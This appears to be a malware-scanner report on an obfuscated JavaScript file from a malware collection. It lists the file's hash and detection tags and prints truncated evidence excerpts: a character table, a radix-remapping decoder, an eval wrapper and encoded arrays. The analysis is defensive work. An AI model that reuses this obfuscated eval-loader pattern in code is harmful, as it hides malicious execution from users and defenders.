Suspicious ^66% javascript-malware-collection Download

20151210_93a57752ad54e8a5f39e74e031ac3da7.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-256cf42ea08dad0c1b3c5facdad28c939cdea276c7c32640be1fccd51db69b453ca

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var NUHwTqvtjUntc=[];
2UylbomE=(-360+360)/787;while(true){if(UylbomE>=(54292+876)/431){break;}NUHwTqvtjUntc[UylbomE]=String.fromCharCode(UylbomE);UylbomE++;}
3function dBICe(QBDezuxvFcO,LuBobVwhoInCy,bmtdZaIr){NWER=parseInt(QBDezuxvFcO,LuBobVwhoInCy);kPYiy=NWER.toString(bmtdZaIr);return kPYiy;}function spcglrdrMoFhyJp(ygMtSvSrSwdlExkos){eval(ygMtSvSrSwdlExkos)}
4function dKLcAEeTYietGykescvRVAZTGFXwEkMSaBSVAIWqTirgszxuEfJAHe(TfyUZHeipaxIR,rOouhdquKJEkSg){ return NUHwTqvtjUntc[dBICe(TfyUZHeipaxIR[rOouhdquKJEkSg],(4877+223)/204,(3660+330)/399)];}
5function eVDCFQc(jKXYRDrHGEizVlhVlSxhOKkTQgwzJwGVGwxP) {return !isNaN(parseFloat(jKXYRDrHGEizVlhVlSxhOKkTQgwzJwGVGwxP)) && isFinite(jKXYRDrHGEizVlhVlSxhOKkTQgwzJwGVGwxP);}
6function YwegVozoUvZ(YkmghOzb,qVmPHo){return YkmghOzb.split(qVmPHo)}
7var J=[];J[0]="d";J[1]="a";J[2]="d";J[3]="a";J[4]="4i";J[5]="3m";J[6]="4e";J[7]="17";J[8]="2j";J[9]="17";J[10]="2b";J …

Massive array index assignment line 8

8:4336… ";v[862]="4g";v[863]="4e";v[864]="4l";v[865]="17";v[866]="17";v[867]="4n";v[868]="d";v[869]="a";v[870]="17";v[871]="17";v[872]="17";v[873]="17";v[874]="17";v[875]="17";v[876]="17";v[877]="17";v[878]="17";v[879]="17";v[880]="45";v[881]="42";v[882]="17";v[883]="1f";v[884]="1f";v[885]="1f";v[886]="4a";v[887]="41";v[888]="4j";v[889]="17";v[890]="2i";v[891]="3m";v[892]="4g";v[893]="41";v[894]="1f";v[895]="1g";v …